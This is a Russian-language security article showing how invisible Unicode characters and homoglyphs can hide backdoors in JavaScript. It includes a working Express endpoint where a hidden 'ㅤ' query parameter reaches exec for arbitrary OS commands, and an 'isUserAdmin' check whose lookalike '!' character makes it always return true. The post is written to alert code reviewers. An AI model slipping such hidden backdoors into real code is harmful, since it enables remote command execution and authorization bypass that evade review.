Несколько месяцев назад мы увидели пост в сабреддите r/programminghorror: один разработчик рассказал о своих мучениях с поиском синтаксической ошибки, вызванной невидимым символом Unicode, скрывавшемся в исходном коде на JavaScript. Этот пост вдохновил нас на мысль: что если бэкдор в буквальном смысле нельзя было бы увидеть и таким образом он бы избежал тщательных проверок кода?
Как раз когда мы завершали написание этого поста, команда из Кембриджского университета опубликовала статью с описанием такой атаки. Однако её подход сильно отличается от нашего — в нём упор делается на механизм двойного направления текста в Unicode (Bidi). Мы реализовали подход, который в статье называется Invisible Character Attacks и Homoglyph Attacks.
Без лишних предисловий перейдём к бэкдору. Сможете его найти?
const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);
const app = express();
app.get('/network_health', async (req, res) => {
const { timeout,ㅤ} = req.query;
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤ
];
try {
await Promise.all(checkCommands.map(cmd =>
cmd && exec(cmd, { timeout: +timeout || 5_000 })));
res.status(200);
res.send('ok');
} catch(e) {
res.status(500);
res.send('failed');
}
});
app.listen(8080);
Скрипт реализует очень простую конечную точку HTTP проверки состояния сети, выполняющую
ping -c 1 google.com
, а также curl -s http://example.com
и возвращающую результат выполнения этих команд. Дополнительный параметр HTTP timeout
ограничивает время выполнения команды.Бэкдор
Наш подход к созданию бэкдора заключался в том, чтобы в первую очередь найти невидимый символ Unicode, который можно интерпретировать как идентификатор/переменную в JavaScript. Начиная с ECMAScript версии 2015, все символы Unicode с Unicode-свойством
ID_Start
можно использовать как идентификаторы (символы со свойством ID_Continue
можно использовать после первого символа).Символ “ㅤ” (0x3164 в шестнадцатеричном виде) называется “HANGUL FILLER” («заполнитель хангыля») и принадлежит к Unicode-категории “Letter, other”. Так как этот символ считается буквой, он имеет свойство
ID_Start
, а значит, может встречаться в переменной JavaScript — идеально!Далее нам нужно было найти способ незаметного использования этого невидимого символа. Ниже показан выбранный нами подход, в котором соответствующий символ заменён его escape-последовательностью:
const { timeout,\u3164} = req.query;
Деструктурирующее присваивание применяется для деконструирования параметров HTTP из
req.query
. В противоположность тому, что мы видим, параметр timeout
является не единственным параметром, извлечённым из атрибута req.query
! Из него извлекается дополнительная переменная/параметр HTTP с именем “ㅤ” — если передаётся параметр HTTP с именем “ㅤ”, то он присваивается невидимой переменной ㅤ
.Аналогично, при конструировании массива
checkCommands
эта переменная ㅤ
включается в массив: const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',\u3164
];
Затем каждый элемент массива, жёстко заданные команды, а также переданный пользователем параметр, передаются функции
exec
. Эта функция исполняет команды ОС. Чтобы атакующий мог исполнять произвольные команды ОС, ему нужно передать конечной точке параметр с именем “ㅤ” (в URL-кодировке):http://host:8080/network_health?%E3%85%A4=<any command>
Этот трюк нельзя выявить подсвечиванием синтаксиса, поскольку невидимые символы никак не отображаются, а следовательно, не раскрашиваются в IDE/текстовом редакторе:
Для атаки требуется, чтобы IDE/текстовый редактор (и выбранный шрифт) правильно рендерили невидимые символы. Как минимум Notepad++ и VS Code рендерят их правильно (в VS Code невидимый символ немного шире символов ASCII). Скрипт ведёт себя так, как это описано выше, по крайней мере, с Node 14.
Решения с омоглифами
Кроме невидимых символов бэкдоры можно внедрять и с помощью символов Unicode, очень похожих, например, на операторы:
const [ ENV_PROD, ENV_DEV ] = [ 'PRODUCTION', 'DEVELOPMENT'];
/* … */
const environment = 'PRODUCTION';
/* … */
function isUserAdmin(user) {
if(environmentǃ=ENV_PROD){
// bypass authZ checks in DEV
return true;
}
/* … */
return false;
}
Символ “ǃ” — это не восклицательный знак, а символ ALVEOLAR CLICK. Следовательно, показанная ниже строка не сравнивает переменную
environment
со строкой "PRODUCTION"
, а вместо этого присваивает строку "PRODUCTION"
ранее незаданной переменной environmentǃ
: if(environmentǃ=ENV_PROD){
Таким образом, выражение в условном операторе всегда равно
true
(протестировано на Node 14).Существует множество других символов, которые похожи на используемые в коде и которые можно применять в подобных целях (например, “/”, “−”, “+”, “⩵”, “❨”, “⫽”, “꓿”, “∗”). В Unicode такие символы называются “confusables” («вызывающими путаницу»).
Вывод
Стоит заметить, что использование Unicode для сокрытия уязвимого или зловредного кода не является новой идеей ([1], [2], [3], [4]) (как и использование невидимых символов), а сам Unicode открывает дополнительные возможности по обфускации кода. Однако нам кажется, что эти трюки довольно любопытны, поэтому мы решили ими поделиться.
При анализе кода неизвестных или ненадёжных контрибьюторов нужно помнить о Unicode. Это особенно интересно для проектов open source, потому что контрибьюторами в них, по сути, могут быть анонимные разработчики.
Кембриджская команда предложила ограничить использование Bidi-символов Unicode. Как мы продемонстрировали, омоглифные атаки и невидимые символы тоже могут представлять угрозу. По нашему опыту, символы не из таблицы ASCII встречаются в коде достаточно редко. Многие команды разработчиков предпочитают использовать в качестве основного языка разработки английский (и для кода, и для строк в коде), чтобы обеспечить возможность международного сотрудничества (в ASCII есть все или почти все символы, используемые в английском языке). Перевод на другие языки обычно выполняется при помощи специальных файлов. При анализе кода на немецком языке мы чаще всего видим, что символы не из таблицы ASCII заменены ASCII-символами (например, ä → ae, ß → ss). Поэтому, неплохой идеей будет полный запрет символов не из таблицы ASCII.